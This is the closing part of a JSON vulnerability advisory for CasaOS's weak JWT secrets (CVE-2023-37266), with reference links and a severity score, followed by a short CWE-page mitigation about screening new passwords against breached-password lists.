      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37266"
    },
    {
      "type": "WEB",
      "url": "https://github.com/IceWhaleTech/CasaOS/commit/705bf1facbffd2ca40b159b0303132b6fdf657ad"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/IceWhaleTech/CasaOS"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2023-1931"
    },
    {
      "type": "WEB",
      "url": "https://www.sonarsource.com/blog/security-vulnerabilities-in-casaos"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CasaOS contains weak JWT secrets"
}
Mitigation
Architecture and Design Operation

When the user changes or sets a password, check the password against a database of already compromised or breached passwords. These passwords are likely to be used in password guessing attacks.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list